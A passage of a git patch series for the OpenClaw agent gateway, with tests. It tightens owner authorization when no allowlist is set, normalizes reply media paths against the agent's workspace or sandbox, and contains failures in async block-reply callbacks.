Without an explicit ownerAllowFrom list, the sole authorized user should - // be treated as owner so ownerOnly tools (cron, gateway) are available. - expect(auth.senderIsOwner).toBe(true); + expect(auth.senderIsOwner).toBe(false); + expect(auth.isAuthorizedSender).toBe(true); }); - it("senderIsOwner is false when no ownerAllowFrom is configured in a group chat", () => { + it("does not treat group-chat senders as owners when no ownerAllowFrom is configured", () => { const cfg = { channels: { discord: {} }, } as OpenClawConfig; @@ -67,6 +66,7 @@ describe("senderIsOwner defaults to true when no owner allowlist configured (#26 }); expect(auth.senderIsOwner).toBe(false); + expect(auth.isAuthorizedSender).toBe(true); }); it("senderIsOwner is false when ownerAllowFrom is configured and sender does not match", () => { diff --git a/src/auto-reply/command-auth.ts b/src/auto-reply/command-auth.ts index 87f64e8c8f1..583340c93cd 100644 --- a/src/auto-reply/command-auth.ts +++ b/src/auto-reply/command-auth.ts @@ -351,14 +351,7 @@ export function resolveCommandAuthorization(params: { Array.isArray(ctx.GatewayClientScopes) && ctx.GatewayClientScopes.includes("operator.admin"); const ownerAllowlistConfigured = ownerAllowAll || explicitOwners.length > 0; - const isDirectChat = (ctx.ChatType ?? "").trim().toLowerCase() === "direct"; - // In the default single-user direct-chat setup, allow an identified sender to - // keep ownerOnly tools even without an explicit owner allowlist. - const senderIsOwner = - senderIsOwnerByIdentity || - senderIsOwnerByScope || - ownerAllowAll || - (!ownerAllowlistConfigured && isDirectChat && Boolean(senderId)); + const senderIsOwner = senderIsOwnerByIdentity || senderIsOwnerByScope || ownerAllowAll; const requireOwner = enforceOwner || ownerAllowlistConfigured; const isOwnerForCommands = !requireOwner ? true From 77ef6724683087548279bb7e0ebf6b47464260fe Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Sat, 7 Mar 2026 10:09:10 +0530 Subject: [PATCH 094/844] fix: normalize reply media paths --- src/auto-reply/reply.block-streaming.test.ts | 2 +- .../reply/agent-runner-execution.ts | 7 + .../reply/agent-runner-payloads.test.ts | 36 ++--- src/auto-reply/reply/agent-runner-payloads.ts | 29 ++-- .../reply/agent-runner.media-paths.test.ts | 130 ++++++++++++++++++ src/auto-reply/reply/agent-runner.ts | 9 +- src/auto-reply/reply/reply-delivery.ts | 6 +- .../reply/reply-media-paths.test.ts | 57 ++++++++ src/auto-reply/reply/reply-media-paths.ts | 105 ++++++++++++++ 9 files changed, 347 insertions(+), 34 deletions(-) create mode 100644 src/auto-reply/reply/agent-runner.media-paths.test.ts create mode 100644 src/auto-reply/reply/reply-media-paths.test.ts create mode 100644 src/auto-reply/reply/reply-media-paths.ts diff --git a/src/auto-reply/reply.block-streaming.test.ts b/src/auto-reply/reply.block-streaming.test.ts index 0ac2574fce6..456b8a40f95 100644 --- a/src/auto-reply/reply.block-streaming.test.ts +++ b/src/auto-reply/reply.block-streaming.test.ts @@ -211,7 +211,7 @@ describe("block streaming", () => { expect(onBlockReply).toHaveBeenCalledTimes(1); expect(onBlockReply.mock.calls[0][0]).toMatchObject({ text: "Result", - mediaUrls: ["./image.png"], + mediaUrls: [path.join(home, "openclaw", "image.png")], }); }); }); diff --git a/src/auto-reply/reply/agent-runner-execution.ts b/src/auto-reply/reply/agent-runner-execution.ts index 524934ad469..6748e3cbe68 100644 --- a/src/auto-reply/reply/agent-runner-execution.ts +++ b/src/auto-reply/reply/agent-runner-execution.ts @@ -45,6 +45,7 @@ import { import { type BlockReplyPipeline } from "./block-reply-pipeline.js"; import type { FollowupRun } from "./queue.js"; import { createBlockReplyDeliveryHandler } from "./reply-delivery.js"; +import { createReplyMediaPathNormalizer } from "./reply-media-paths.js"; import type { TypingSignaler } from "./typing-mode.js"; export type RuntimeFallbackAttempt = { @@ -106,6 +107,11 @@ export async function runAgentTurnWithFallback(params: { const directlySentBlockKeys = new Set(); const runId = params.opts?.runId ?? crypto.randomUUID(); + const normalizeReplyMediaPaths = createReplyMediaPathNormalizer({ + cfg: params.followupRun.run.config, + sessionKey: params.sessionKey, + workspaceDir: params.followupRun.run.workspaceDir, + }); let didNotifyAgentRunStart = false; const notifyAgentRunStart = () => { if (didNotifyAgentRunStart) { @@ -402,6 +408,7 @@ export async function runAgentTurnWithFallback(params: { params.sessionCtx.MessageSidFull ?? params.sessionCtx.MessageSid, normalizeStreamingText, applyReplyToMode: params.applyReplyToMode, + normalizeMediaPaths: normalizeReplyMediaPaths, typingSignals: params.typingSignals, blockStreamingEnabled: params.blockStreamingEnabled, blockReplyPipeline, diff --git a/src/auto-reply/reply/agent-runner-payloads.test.ts b/src/auto-reply/reply/agent-runner-payloads.test.ts index 138efd8e49d..23b898ce317 100644 --- a/src/auto-reply/reply/agent-runner-payloads.test.ts +++ b/src/auto-reply/reply/agent-runner-payloads.test.ts @@ -10,8 +10,8 @@ const baseParams = { }; describe("buildReplyPayloads media filter integration", () => { - it("strips media URL from payload when in messagingToolSentMediaUrls", () => { - const { replyPayloads } = buildReplyPayloads({ + it("strips media URL from payload when in messagingToolSentMediaUrls", async () => { + const { replyPayloads } = await buildReplyPayloads({ ...baseParams, payloads: [{ text: "hello", mediaUrl: "file:///tmp/photo.jpg" }], messagingToolSentMediaUrls: ["file:///tmp/photo.jpg"], @@ -21,8 +21,8 @@ describe("buildReplyPayloads media filter integration", () => { expect(replyPayloads[0].mediaUrl).toBeUndefined(); }); - it("preserves media URL when not in messagingToolSentMediaUrls", () => { - const { replyPayloads } = buildReplyPayloads({ + it("preserves media URL when not in messagingToolSentMediaUrls", async () => { + const { replyPayloads } = await buildReplyPayloads({ ...baseParams, payloads: [{ text: "hello", mediaUrl: "file:///tmp/photo.jpg" }], messagingToolSentMediaUrls: ["file:///tmp/other.jpg"], @@ -32,8 +32,8 @@ describe("buildReplyPayloads media filter integration", () => { expect(replyPayloads[0].mediaUrl).toBe("file:///tmp/photo.jpg"); }); - it("applies media filter after text filter", () => { - const { replyPayloads } = buildReplyPayloads({ + it("applies media filter after text filter", async () => { + const { replyPayloads } = await buildReplyPayloads({ ...baseParams, payloads: [{ text: "hello world!", mediaUrl: "file:///tmp/photo.jpg" }], messagingToolSentTexts: ["hello world!"], @@ -44,8 +44,8 @@ describe("buildReplyPayloads media filter integration", () => { expect(replyPayloads).toHaveLength(0); }); - it("does not dedupe text for cross-target messaging sends", () => { - const { replyPayloads } = buildReplyPayloads({ + it("does not dedupe text for cross-target messaging sends", async () => { + const { replyPayloads } = await buildReplyPayloads({ ...baseParams, payloads: [{ text: "hello world!" }], messageProvider: "telegram", @@ -58,8 +58,8 @@ describe("buildReplyPayloads media filter integration", () => { expect(replyPayloads[0]?.text).toBe("hello world!"); }); - it("does not dedupe media for cross-target messaging sends", () => { - const { replyPayloads } = buildReplyPayloads({ + it("does not dedupe media for cross-target messaging sends", async () => { + const { replyPayloads } = await buildReplyPayloads({ ...baseParams, payloads: [{ text: "photo", mediaUrl: "file:///tmp/photo.jpg" }], messageProvider: "telegram", @@ -72,8 +72,8 @@ describe("buildReplyPayloads media filter integration", () => { expect(replyPayloads[0]?.mediaUrl).toBe("file:///tmp/photo.jpg"); }); - it("suppresses same-target replies when messageProvider is synthetic but originatingChannel is set", () => { - const { replyPayloads } = buildReplyPayloads({ + it("suppresses same-target replies when messageProvider is synthetic but originatingChannel is set", async () => { + const { replyPayloads } = await buildReplyPayloads({ ...baseParams, payloads: [{ text: "hello world!" }], messageProvider: "heartbeat", @@ -86,8 +86,8 @@ describe("buildReplyPayloads media filter integration", () => { expect(replyPayloads).toHaveLength(0); }); - it("suppresses same-target replies when message tool target provider is generic", () => { - const { replyPayloads } = buildReplyPayloads({ + it("suppresses same-target replies when message tool target provider is generic", async () => { + const { replyPayloads } = await buildReplyPayloads({ ...baseParams, payloads: [{ text: "hello world!" }], messageProvider: "heartbeat", @@ -100,8 +100,8 @@ describe("buildReplyPayloads media filter integration", () => { expect(replyPayloads).toHaveLength(0); }); - it("suppresses same-target replies when target provider is channel alias", () => { - const { replyPayloads } = buildReplyPayloads({ + it("suppresses same-target replies when target provider is channel alias", async () => { + const { replyPayloads } = await buildReplyPayloads({ ...baseParams, payloads: [{ text: "hello world!" }], messageProvider: "heartbeat", @@ -114,8 +114,8 @@ describe("buildReplyPayloads media filter integration", () => { expect(replyPayloads).toHaveLength(0); }); - it("does not suppress same-target replies when accountId differs", () => { - const { replyPayloads } = buildReplyPayloads({ + it("does not suppress same-target replies when accountId differs", async () => { + const { replyPayloads } = await buildReplyPayloads({ ...baseParams, payloads: [{ text: "hello world!" }], messageProvider: "heartbeat", diff --git a/src/auto-reply/reply/agent-runner-payloads.ts b/src/auto-reply/reply/agent-runner-payloads.ts index 38737171c35..5bca8d19eb0 100644 --- a/src/auto-reply/reply/agent-runner-payloads.ts +++ b/src/auto-reply/reply/agent-runner-payloads.ts @@ -20,7 +20,7 @@ import { shouldSuppressMessagingToolReplies, } from "./reply-payloads.js"; -export function buildReplyPayloads(params: { +export async function buildReplyPayloads(params: { payloads: ReplyPayload[]; isHeartbeat: boolean; didLogHeartbeatStrip: boolean; @@ -40,7 +40,8 @@ export function buildReplyPayloads(params: { originatingChannel?: OriginatingChannelType; originatingTo?: string; accountId?: string; -}): { replyPayloads: ReplyPayload[]; didLogHeartbeatStrip: boolean } { + normalizeMediaPaths?: (payload: ReplyPayload) => Promise; +}): Promise<{ replyPayloads: ReplyPayload[]; didLogHeartbeatStrip: boolean }> { let didLogHeartbeatStrip = params.didLogHeartbeatStrip; const sanitizedPayloads = params.isHeartbeat ? params.payloads @@ -66,22 +67,24 @@ export function buildReplyPayloads(params: { return [{ ...payload, text: stripped.text }]; }); - const replyTaggedPayloads: ReplyPayload[] = applyReplyThreading({ - payloads: sanitizedPayloads, - replyToMode: params.replyToMode, - replyToChannel: params.replyToChannel, - currentMessageId: params.currentMessageId, - }) - .map( - (payload) => - normalizeReplyPayloadDirectives({ + const replyTaggedPayloads = ( + await Promise.all( + applyReplyThreading({ + payloads: sanitizedPayloads, + replyToMode: params.replyToMode, + replyToChannel: params.replyToChannel, + currentMessageId: params.currentMessageId, + }).map(async (payload) => { + const parsed = normalizeReplyPayloadDirectives({ payload, currentMessageId: params.currentMessageId, silentToken: SILENT_REPLY_TOKEN, parseMode: "always", - }).payload, + }).payload; + return params.normalizeMediaPaths ? await params.normalizeMediaPaths(parsed) : parsed; + }), ) - .filter(isRenderablePayload); + ).filter(isRenderablePayload); // Drop final payloads only when block streaming succeeded end-to-end. // If streaming aborted (e.g., timeout), fall back to final payloads. diff --git a/src/auto-reply/reply/agent-runner.media-paths.test.ts b/src/auto-reply/reply/agent-runner.media-paths.test.ts new file mode 100644 index 00000000000..f5658287aff --- /dev/null +++ b/src/auto-reply/reply/agent-runner.media-paths.test.ts @@ -0,0 +1,130 @@ +import path from "node:path"; +import { beforeEach, describe, expect, it, vi } from "vitest"; +import type { TemplateContext } from "../templating.js"; +import type { FollowupRun, QueueSettings } from "./queue.js"; +import { createMockTypingController } from "./test-helpers.js"; + +const runEmbeddedPiAgentMock = vi.fn(); +const runWithModelFallbackMock = vi.fn(); + +vi.mock("../../agents/model-fallback.js", () => ({ + runWithModelFallback: (params: { + provider: string; + model: string; + run: (provider: string, model: string) => Promise; + }) => runWithModelFallbackMock(params), +})); + +vi.mock("../../agents/pi-embedded.js", async () => { + const actual = await vi.importActual( + "../../agents/pi-embedded.js", + ); + return { + ...actual, + queueEmbeddedPiMessage: vi.fn().mockReturnValue(false), + runEmbeddedPiAgent: (params: unknown) => runEmbeddedPiAgentMock(params), + }; +}); + +vi.mock("./queue.js", async () => { + const actual = await vi.importActual("./queue.js"); + return { + ...actual, + enqueueFollowupRun: vi.fn(), + scheduleFollowupDrain: vi.fn(), + }; +}); + +import { runReplyAgent } from "./agent-runner.js"; + +describe("runReplyAgent media path normalization", () => { + beforeEach(() => { + runEmbeddedPiAgentMock.mockReset(); + runWithModelFallbackMock.mockReset(); + runWithModelFallbackMock.mockImplementation( + async ({ + provider, + model, + run, + }: { + provider: string; + model: string; + run: (...args: unknown[]) => Promise; + }) => ({ + result: await run(provider, model), + provider, + model, + }), + ); + }); + + it("normalizes final MEDIA replies against the run workspace", async () => { + runEmbeddedPiAgentMock.mockResolvedValue({ + payloads: [{ text: "MEDIA:./out/generated.png" }], + meta: { + agentMeta: { + sessionId: "session", + provider: "anthropic", + model: "claude", + }, + }, + }); + + const result = await runReplyAgent({ + commandBody: "generate", + followupRun: { + prompt: "generate", + enqueuedAt: Date.now(), + run: { + agentId: "main", + agentDir: "/tmp/agent", + sessionId: "session", + sessionKey: "main", + messageProvider: "telegram", + sessionFile: "/tmp/session.jsonl", + workspaceDir: "/tmp/workspace", + config: {}, + provider: "anthropic", + model: "claude", + thinkLevel: "low", + verboseLevel: "off", + elevatedLevel: "off", + bashElevated: { + enabled: false, + allowed: false, + defaultLevel: "off", + }, + timeoutMs: 1_000, + blockReplyBreak: "message_end", + }, + } as unknown as FollowupRun, + queueKey: "main", + resolvedQueue: { mode: "interrupt" } as QueueSettings, + shouldSteer: false, + shouldFollowup: false, + isActive: false, + isStreaming: false, + typing: createMockTypingController(), + sessionCtx: { + Provider: "telegram", + Surface: "telegram", + To: "chat-1", + OriginatingTo: "chat-1", + AccountId: "default", + MessageSid: "msg-1", + } as unknown as TemplateContext, + defaultModel: "anthropic/claude", + resolvedVerboseLevel: "off", + isNewSession: false, + blockStreamingEnabled: false, + resolvedBlockStreamingBreak: "message_end", + shouldInjectGroupIntro: false, + typingMode: "instant", + }); + + expect(result).toMatchObject({ + mediaUrl: path.join("/tmp/workspace", "out", "generated.png"), + mediaUrls: [path.join("/tmp/workspace", "out", "generated.png")], + }); + }); +}); diff --git a/src/auto-reply/reply/agent-runner.ts b/src/auto-reply/reply/agent-runner.ts index 8b126382dbc..b6dcd7dcd91 100644 --- a/src/auto-reply/reply/agent-runner.ts +++ b/src/auto-reply/reply/agent-runner.ts @@ -52,6 +52,7 @@ import { resolveOriginMessageProvider, resolveOriginMessageTo } from "./origin-r import { readPostCompactionContext } from "./post-compaction-context.js"; import { resolveActiveRunQueueAction } from "./queue-policy.js"; import { enqueueFollowupRun, type FollowupRun, type QueueSettings } from "./queue.js"; +import { createReplyMediaPathNormalizer } from "./reply-media-paths.js"; import { createReplyToModeFilterForChannel, resolveReplyToMode } from "./reply-threading.js"; import { incrementRunCompactionCount, persistRunSessionUsage } from "./session-run-accounting.js"; import { createTypingSignaler } from "./typing-mode.js"; @@ -154,6 +155,11 @@ export async function runReplyAgent(params: { ); const applyReplyToMode = createReplyToModeFilterForChannel(replyToMode, replyToChannel); const cfg = followupRun.run.config; + const normalizeReplyMediaPaths = createReplyMediaPathNormalizer({ + cfg, + sessionKey, + workspaceDir: followupRun.run.workspaceDir, + }); const blockReplyCoalescing = blockStreamingEnabled && opts?.onBlockReply ? resolveEffectiveBlockStreamingConfig({ @@ -475,7 +481,7 @@ export async function runReplyAgent(params: { return finalizeWithFollowup(undefined, queueKey, runFollowupTurn); } - const payloadResult = buildReplyPayloads({ + const payloadResult = await buildReplyPayloads({ payloads: payloadArray, isHeartbeat, didLogHeartbeatStrip, @@ -495,6 +501,7 @@ export async function runReplyAgent(params: { to: sessionCtx.To, }), accountId: sessionCtx.AccountId, + normalizeMediaPaths: normalizeReplyMediaPaths, }); const { replyPayloads } = payloadResult; didLogHeartbeatStrip = payloadResult.didLogHeartbeatStrip; diff --git a/src/auto-reply/reply/reply-delivery.ts b/src/auto-reply/reply/reply-delivery.ts index 78930c708f5..acf04e73a3e 100644 --- a/src/auto-reply/reply/reply-delivery.ts +++ b/src/auto-reply/reply/reply-delivery.ts @@ -65,6 +65,7 @@ export function createBlockReplyDeliveryHandler(params: { currentMessageId?: string; normalizeStreamingText: (payload: ReplyPayload) => { text?: string; skip: boolean }; applyReplyToMode: (payload: ReplyPayload) => ReplyPayload; + normalizeMediaPaths?: (payload: ReplyPayload) => Promise; typingSignals: TypingSignaler; blockStreamingEnabled: boolean; blockReplyPipeline: BlockReplyPipeline | null; @@ -101,7 +102,10 @@ export function createBlockReplyDeliveryHandler(params: { parseMode: "auto", }); - const blockPayload = params.applyReplyToMode(normalized.payload); + const mediaNormalizedPayload = params.normalizeMediaPaths + ? await params.normalizeMediaPaths(normalized.payload) + : normalized.payload; + const blockPayload = params.applyReplyToMode(mediaNormalizedPayload); const blockHasMedia = hasRenderableMedia(blockPayload); // Skip empty payloads unless they have audioAsVoice flag (need to track it). diff --git a/src/auto-reply/reply/reply-media-paths.test.ts b/src/auto-reply/reply/reply-media-paths.test.ts new file mode 100644 index 00000000000..01bb865b140 --- /dev/null +++ b/src/auto-reply/reply/reply-media-paths.test.ts @@ -0,0 +1,57 @@ +import path from "node:path"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const ensureSandboxWorkspaceForSession = vi.hoisted(() => vi.fn()); + +vi.mock("../../agents/sandbox.js", () => ({ + ensureSandboxWorkspaceForSession, +})); + +import { createReplyMediaPathNormalizer } from "./reply-media-paths.js"; + +describe("createReplyMediaPathNormalizer", () => { + beforeEach(() => { + ensureSandboxWorkspaceForSession.mockReset().mockResolvedValue(null); + }); + + it("resolves workspace-relative media against the agent workspace", async () => { + const normalize = createReplyMediaPathNormalizer({ + cfg: {}, + sessionKey: "session-key", + workspaceDir: "/tmp/agent-workspace", + }); + + const result = await normalize({ + mediaUrls: ["./out/photo.png"], + }); + + expect(result).toMatchObject({ + mediaUrl: path.join("/tmp/agent-workspace", "out", "photo.png"), + mediaUrls: [path.join("/tmp/agent-workspace", "out", "photo.png")], + }); + }); + + it("maps sandbox-relative media back to the host sandbox workspace", async () => { + ensureSandboxWorkspaceForSession.mockResolvedValue({ + workspaceDir: "/tmp/sandboxes/session-1", + containerWorkdir: "/workspace", + }); + const normalize = createReplyMediaPathNormalizer({ + cfg: {}, + sessionKey: "session-key", + workspaceDir: "/tmp/agent-workspace", + }); + + const result = await normalize({ + mediaUrls: ["./out/photo.png", "file:///workspace/screens/final.png"], + }); + + expect(result).toMatchObject({ + mediaUrl: path.join("/tmp/sandboxes/session-1", "out", "photo.png"), + mediaUrls: [ + path.join("/tmp/sandboxes/session-1", "out", "photo.png"), + path.join("/tmp/sandboxes/session-1", "screens", "final.png"), + ], + }); + }); +}); diff --git a/src/auto-reply/reply/reply-media-paths.ts b/src/auto-reply/reply/reply-media-paths.ts new file mode 100644 index 00000000000..1c09316afad --- /dev/null +++ b/src/auto-reply/reply/reply-media-paths.ts @@ -0,0 +1,105 @@ +import { resolvePathFromInput } from "../../agents/path-policy.js"; +import { assertMediaNotDataUrl, resolveSandboxedMediaSource } from "../../agents/sandbox-paths.js"; +import { ensureSandboxWorkspaceForSession } from "../../agents/sandbox.js"; +import type { OpenClawConfig } from "../../config/config.js"; +import type { ReplyPayload } from "../types.js"; + +const HTTP_URL_RE = /^https?:\/\//i; +const FILE_URL_RE = /^file:\/\//i; +const WINDOWS_DRIVE_RE = /^[a-zA-Z]:[\\/]/; +const SCHEME_RE = /^[a-zA-Z][a-zA-Z0-9+.-]*:/; +const HAS_FILE_EXT_RE = /\.\w{1,10}$/; + +function isLikelyLocalMediaSource(media: string): boolean { + return ( + FILE_URL_RE.test(media) || + media.startsWith("/") || + media.startsWith("./") || + media.startsWith("../") || + media.startsWith("~") || + WINDOWS_DRIVE_RE.test(media) || + media.startsWith("\\\\") || + (!SCHEME_RE.test(media) && + (media.includes("/") || media.includes("\\") || HAS_FILE_EXT_RE.test(media))) + ); +} + +function getPayloadMediaList(payload: ReplyPayload): string[] { + return payload.mediaUrls?.length ? payload.mediaUrls : payload.mediaUrl ? [payload.mediaUrl] : []; +} + +export function createReplyMediaPathNormalizer(params: { + cfg: OpenClawConfig; + sessionKey?: string; + workspaceDir: string; +}): (payload: ReplyPayload) => Promise { + let sandboxRootPromise: Promise | undefined; + + const resolveSandboxRoot = async (): Promise => { + if (!sandboxRootPromise) { + sandboxRootPromise = ensureSandboxWorkspaceForSession({ + config: params.cfg, + sessionKey: params.sessionKey, + workspaceDir: params.workspaceDir, + }).then((sandbox) => sandbox?.workspaceDir); + } + return await sandboxRootPromise; + }; + + const normalizeMediaSource = async (raw: string): Promise => { + const media = raw.trim(); + if (!media) { + return media; + } + assertMediaNotDataUrl(media); + if (HTTP_URL_RE.test(media)) { + return media; + } + const sandboxRoot = await resolveSandboxRoot(); + if (sandboxRoot) { + return await resolveSandboxedMediaSource({ + media, + sandboxRoot, + }); + } + if (!isLikelyLocalMediaSource(media)) { + return media; + } + if (FILE_URL_RE.test(media)) { + return media; + } + return resolvePathFromInput(media, params.workspaceDir); + }; + + return async (payload) => { + const mediaList = getPayloadMediaList(payload); + if (mediaList.length === 0) { + return payload; + } + + const normalizedMedia: string[] = []; + const seen = new Set(); + for (const media of mediaList) { + const normalized = await normalizeMediaSource(media); + if (!normalized || seen.has(normalized)) { + continue; + } + seen.add(normalized); + normalizedMedia.push(normalized); + } + + if (normalizedMedia.length === 0) { + return { + ...payload, + mediaUrl: undefined, + mediaUrls: undefined, + }; + } + + return { + ...payload, + mediaUrl: normalizedMedia[0], + mediaUrls: normalizedMedia, + }; + }; +} From 059aedeb08fd4e125995c497895e4553cb143fec Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Sat, 7 Mar 2026 10:28:32 +0530 Subject: [PATCH 095/844] fix: contain block reply media failures --- ...d-subscribe.block-reply-rejections.test.ts | 57 +++++++++++++++++++ ...pi-embedded-subscribe.handlers.messages.ts | 14 ++++- src/agents/pi-embedded-subscribe.ts | 14 ++++- .../reply/agent-runner-payloads.test.ts | 26 +++++++++ src/auto-reply/reply/agent-runner-payloads.ts | 53 ++++++++++++++++- 5 files changed, 160 insertions(+), 4 deletions(-) create mode 100644 src/agents/pi-embedded-subscribe.block-reply-rejections.test.ts diff --git a/src/agents/pi-embedded-subscribe.block-reply-rejections.test.ts b/src/agents/pi-embedded-subscribe.block-reply-rejections.test.ts new file mode 100644 index 00000000000..704d5d98a76 --- /dev/null +++ b/src/agents/pi-embedded-subscribe.block-reply-rejections.test.ts @@ -0,0 +1,57 @@ +import { afterEach, describe, expect, it, vi } from "vitest"; +import { + createSubscribedSessionHarness, + emitAssistantTextDelta, + emitAssistantTextEnd, + emitMessageStartAndEndForAssistantText, +} from "./pi-embedded-subscribe.e2e-harness.js"; + +const waitForAsyncCallbacks = async () => { + await Promise.resolve(); + await new Promise((resolve) => setTimeout(resolve, 0)); +}; + +describe("subscribeEmbeddedPiSession block reply rejections", () => { + const unhandledRejections: unknown[] = []; + const onUnhandledRejection = (reason: unknown) => { + unhandledRejections.push(reason); + }; + + afterEach(() => { + process.off("unhandledRejection", onUnhandledRejection); + unhandledRejections.length = 0; + }); + + it("contains rejected async text_end block replies", async () => { + process.on("unhandledRejection", onUnhandledRejection); + const onBlockReply = vi.fn().mockRejectedValue(new Error("boom")); + const { emit } = createSubscribedSessionHarness({ + runId: "run", + onBlockReply, + blockReplyBreak: "text_end", + }); + + emitAssistantTextDelta({ emit, delta: "Hello block" }); + emitAssistantTextEnd({ emit }); + await waitForAsyncCallbacks(); + + expect(onBlockReply).toHaveBeenCalledTimes(1); + expect(unhandledRejections).toHaveLength(0); + }); + + it("contains rejected async message_end block replies", async () => { + process.on("unhandledRejection", onUnhandledRejection); + const onBlockReply = vi.fn().mockRejectedValue(new Error("boom")); + const { emit } = createSubscribedSessionHarness({ + runId: "run", + onBlockReply, + blockReplyBreak: "message_end", + }); + + emitMessageStartAndEndForAssistantText({ emit, text: "Hello block" }); + await waitForAsyncCallbacks(); + + expect(onBlockReply).toHaveBeenCalledTimes(1); + expect(unhandledRejections).toHaveLength(0); + }); +}); diff --git a/src/agents/pi-embedded-subscribe.handlers.messages.ts b/src/agents/pi-embedded-subscribe.handlers.messages.ts index d58690814a3..c89a4b71496 100644 --- a/src/agents/pi-embedded-subscribe.handlers.messages.ts +++ b/src/agents/pi-embedded-subscribe.handlers.messages.ts @@ -326,6 +326,16 @@ export function handleMessageEnd( ctx.finalizeAssistantTexts({ text, addedDuringMessage, chunkerHasBuffered }); const onBlockReply = ctx.params.onBlockReply; + const emitBlockReplySafely = (payload: Parameters>[0]) => { + if (!onBlockReply) { + return; + } + void Promise.resolve() + .then(() => onBlockReply(payload)) + .catch((err) => { + ctx.log.warn(`block reply callback failed: ${String(err)}`); + }); + }; const shouldEmitReasoning = Boolean( ctx.state.includeReasoning && formattedReasoning && @@ -339,7 +349,7 @@ export function handleMessageEnd( return; } ctx.state.lastReasoningSent = formattedReasoning; - void onBlockReply?.({ text: formattedReasoning, isReasoning: true }); + emitBlockReplySafely({ text: formattedReasoning, isReasoning: true }); }; if (shouldEmitReasoningBeforeAnswer) { @@ -362,7 +372,7 @@ export function handleMessageEnd( } = splitResult; // Emit if there's content OR audioAsVoice flag (to propagate the flag). if (cleanedText || (mediaUrls && mediaUrls.length > 0) || audioAsVoice) { - void onBlockReply({ + emitBlockReplySafely({ text: cleanedText, mediaUrls: mediaUrls?.length ? mediaUrls : undefined, audioAsVoice, diff --git a/src/agents/pi-embedded-subscribe.ts b/src/agents/pi-embedded-subscribe.ts index 7d2195b98ce..c5ffedbf14f 100644 --- a/src/agents/pi-embedded-subscribe.ts +++ b/src/agents/pi-embedded-subscribe.ts @@ -100,6 +100,18 @@ export function subscribeEmbeddedPiSession(params: SubscribeEmbeddedPiSessionPar const pendingMessagingTargets = state.pendingMessagingTargets; const replyDirectiveAccumulator = createStreamingDirectiveAccumulator(); const partialReplyDirectiveAccumulator = createStreamingDirectiveAccumulator(); + const emitBlockReplySafely = ( + payload: Parameters>[0], + ) => { + if (!params.onBlockReply) { + return; + } + void Promise.resolve() + .then(() => params.onBlockReply?.(payload)) + .catch((err) => { + log.warn(`block reply callback failed: ${String(err)}`); + }); + }; const resetAssistantMessageState = (nextAssistantTextBaseline: number) => { state.deltaBuffer = ""; @@ -510,7 +522,7 @@ export function subscribeEmbeddedPiSession(params: SubscribeEmbeddedPiSessionPar if (!cleanedText && (!mediaUrls || mediaUrls.length === 0) && !audioAsVoice) { return; } - void params.onBlockReply({ + emitBlockReplySafely({ text: cleanedText, mediaUrls: mediaUrls?.length ? mediaUrls : undefined, audioAsVoice, diff --git a/src/auto-reply/reply/agent-runner-payloads.test.ts b/src/auto-reply/reply/agent-runner-payloads.test.ts index 23b898ce317..e067b01a589 100644 --- a/src/auto-reply/reply/agent-runner-payloads.test.ts +++ b/src/auto-reply/reply/agent-runner-payloads.test.ts @@ -32,6 +32,32 @@ describe("buildReplyPayloads media filter integration", () => { expect(replyPayloads[0].mediaUrl).toBe("file:///tmp/photo.jpg"); }); + it("normalizes sent media URLs before deduping normalized reply media", async () => { + const normalizeMediaPaths = async (payload: { mediaUrl?: string; mediaUrls?: string[] }) => { + const normalizeMedia = (value?: string) => + value === "./out/photo.jpg" ? "/tmp/workspace/out/photo.jpg" : value; + return { + ...payload, + mediaUrl: normalizeMedia(payload.mediaUrl), + mediaUrls: payload.mediaUrls?.map((value) => normalizeMedia(value) ?? value), + }; + }; + + const { replyPayloads } = await buildReplyPayloads({ + ...baseParams, + payloads: [{ text: "hello", mediaUrl: "./out/photo.jpg" }], + messagingToolSentMediaUrls: ["./out/photo.jpg"], + normalizeMediaPaths, + }); + + expect(replyPayloads).toHaveLength(1); + expect(replyPayloads[0]).toMatchObject({ + text: "hello", + mediaUrl: undefined, + mediaUrls: undefined, + }); + }); + it("applies media filter after text filter", async () => { const { replyPayloads } = await buildReplyPayloads({ ...baseParams, diff --git a/src/auto-reply/reply/agent-runner-payloads.ts b/src/auto-reply/reply/agent-runner-payloads.ts index 5bca8d19eb0..8ed02bdf454 100644 --- a/src/auto-reply/reply/agent-runner-payloads.ts +++ b/src/auto-reply/reply/agent-runner-payloads.ts @@ -20,6 +20,51 @@ import { shouldSuppressMessagingToolReplies, } from "./reply-payloads.js"; +async function normalizeSentMediaUrlsForDedupe(params: { + sentMediaUrls: string[]; + normalizeMediaPaths?: (payload: ReplyPayload) => Promise; +}): Promise { + if (params.sentMediaUrls.length === 0 || !params.normalizeMediaPaths) { + return params.sentMediaUrls; + } + + const normalizedUrls: string[] = []; + const seen = new Set(); + for (const raw of params.sentMediaUrls) { + const trimmed = raw.trim(); + if (!trimmed) { + continue; + } + if (!seen.has(trimmed)) { + seen.add(trimmed); + normalizedUrls.push(trimmed); + } + try { + const normalized = await params.normalizeMediaPaths({ + mediaUrl: trimmed, + mediaUrls: [trimmed], + }); + const normalizedMediaUrls = normalized.mediaUrls?.length + ? normalized.mediaUrls + : normalized.mediaUrl + ? [normalized.mediaUrl] + : []; + for (const mediaUrl of normalizedMediaUrls) { + const candidate = mediaUrl.trim(); + if (!candidate || seen.has(candidate)) { + continue; + } + seen.add(candidate); + normalizedUrls.push(candidate); + } + } catch (err) { + logVerbose(`messaging tool sent-media normalization failed: ${String(err)}`); + } + } + + return normalizedUrls; +} + export async function buildReplyPayloads(params: { payloads: ReplyPayload[]; isHeartbeat: boolean; @@ -113,6 +158,12 @@ export async function buildReplyPayloads(params: { // If target metadata is unavailable, keep legacy dedupe behavior. const dedupeMessagingToolPayloads = suppressMessagingToolReplies || messagingToolSentTargets.length === 0; + const messagingToolSentMediaUrls = dedupeMessagingToolPayloads + ? await normalizeSentMediaUrlsForDedupe({ + sentMediaUrls: params.messagingToolSentMediaUrls ?? [], + normalizeMediaPaths: params.normalizeMediaPaths, + }) + : (params.messagingToolSentMediaUrls ?? []); const dedupedPayloads = dedupeMessagingToolPayloads ? filterMessagingToolDuplicates({ payloads: replyTaggedPayloads, @@ -122,7 +173,7 @@ export async function buildReplyPayloads(params: { const mediaFilteredPayloads = dedupeMessagingToolPayloads ? filterMessagingToolMediaDuplicates({ payloads: dedupedPayloads, - sentMediaUrls: params.messagingToolSentMediaUrls ?? [], + sentMediaUrls: 